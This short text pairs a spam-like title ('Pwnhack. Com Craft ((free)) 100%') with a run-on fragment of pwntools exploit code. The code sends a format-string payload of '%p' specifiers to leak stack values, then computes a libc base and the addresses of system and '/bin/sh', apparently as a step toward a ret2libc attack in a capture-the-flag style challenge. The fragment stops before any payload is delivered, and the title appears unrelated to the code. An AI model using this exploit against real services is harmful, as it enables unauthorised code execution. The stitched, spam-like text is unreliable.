Pwnhack. Com Craft ((free)) 100%

p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b'Name: ', b'%p.%p.%p.%p.%p') p.sendlineafter(b'Choice: ', b'2') # show leak = p.recvline() libc_leak = int(leak.split(b'.')[4], 16) - 0x24083 # adjust offset libc_base = libc_leak & ~0xfff system = libc_base + 0x52290 binsh = libc_base + 0x1d8698